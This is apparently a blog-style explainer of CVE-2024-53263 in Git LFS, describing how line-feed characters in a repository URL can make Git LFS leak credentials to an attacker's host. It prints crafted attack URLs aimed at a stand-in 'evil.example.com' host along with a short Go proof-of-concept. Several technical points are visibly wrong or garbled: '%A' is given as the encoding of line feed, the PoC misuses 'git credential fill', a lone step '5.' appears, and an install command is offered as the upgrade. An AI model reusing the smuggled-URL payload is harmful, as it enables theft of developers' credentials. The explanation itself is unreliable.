Git Large File Storage (Git LFS) is a popular Git extension used by developers worldwide to track, version, and manage large files within their repositories. However, a newly disclosed vulnerability, CVE-2024-53263, exposes a critical flaw that can allow remote attackers to steal sensitive Git credentials by injecting special characters into URLs. This issue affects all previous versions of Git LFS, and only version v3.6.1 contains the necessary patch. Every Git LFS user is strongly recommended to upgrade as soon as possible.

This exclusive deep dive will explain in simple language how the vulnerability works, who is at risk, how an exploit could be crafted, and what you need to do right now.

The Problem in Plain Words

Git LFS interacts with remote repositories using URLs. When it needs to authenticate, it asks Git for credentials using the git-credential command. However, Git LFS did not carefully check the content of the URLs before handing them over for credential lookup. This means that if the URL included certain “control” characters—specifically ones that tell software to treat the next part as a new line or command (like line feed LF or carriage return CR)—then the credential retrieval may be tricked into doing something unexpected.

Here's where it gets dangerous:
An attacker could create or suggest a malicious repository URL with URL-encoded control characters. If a victim user unknowingly uses such a URL, Git LFS could be tricked into giving up their credentials.

Suppose an attacker convinces you to clone or interact with a repository on this fake domain

https://evil.example.com%Ahost=trusted-site.com/user/repo.git

%A is the URL-encoded form of the line feed character (LF).

- When Git LFS parses this, it effectively splits the input and might treat everything after the first new line as a separate credential request for trusted-site.com—the attacker's choice of a legitimate site where you have valuable credentials.
- Your credentials for trusted-site.com can then potentially be leaked to the original, malicious site.

The Core Code Issue

The vulnerable code passes unfiltered, possibly untrusted parts of the remote URL straight into the credential system. This is how the exploit is possible:

// Pseudocode: Simplified for clarity
host := extractHost(remoteURL) // Attacker controls this
out, _ := exec.Command("git", "credential", "fill", host).Output()
// Send credentials to remote host (possibly attacker controlled)

No validation is performed to scrub the host string of control characters!

Below is a simplified Go-based proof-of-concept to simulate this vulnerability

package main

import (
    "os/exec"
    "fmt"
)

func main() {
    // Malicious input with URL-encoded LF (%A)
    host := "evil.example.com%Ahost=trusted-site.com"
    out, _ := exec.Command("git", "credential", "fill", host).Output()
    fmt.Println(string(out))
}

For a real exploitation, the attacker’s crafted URL could look like (as seen by the vulnerable software):

https://evil.example.com%Ahost=github.com

When processed, the line feed injects another credential query, possibly capturing secrets related to trusted sites.

Git LFS hands off the URL to git-credential with the sneaky control characters.

5. Victim’s credentials for other trusted hosts are accidentally queried and delivered to the attacker’s server via Git LFS authentication flow.

Vulnerability present: All past releases before v3.6.1

- Patch released: Git LFS v3.6.1 (see changelog entry)

References (Official and Technical)

- GitHub Security Advisory GHSA-q8qv-x6pw-753v
- Git LFS v3.6.1 Release Page
- Full Changelog
- CVE-2024-53263 NVD Entry

git lfs install --force

# Or download latest from: https://git-lfs.github.com/

Conclusion

CVE-2024-53263 is a fresh reminder that even popular, audited open-source tools like Git LFS can contain serious vulnerabilities in how they process external input. All users must update to v3.6.1 to stay safe. No alternative workarounds currently exist.
It's also another reason why always inspecting third-party URLs and practicing secure sharing within development teams is critical practice.

Stay safe and keep your tooling up to date!

*This article uses original research and simple language for easy understanding. Please link or credit when sharing.*

Timeline

Published on: 01/14/2025 20:15:28 UTC
Last modified on: 01/23/2025 18:15:30 UTC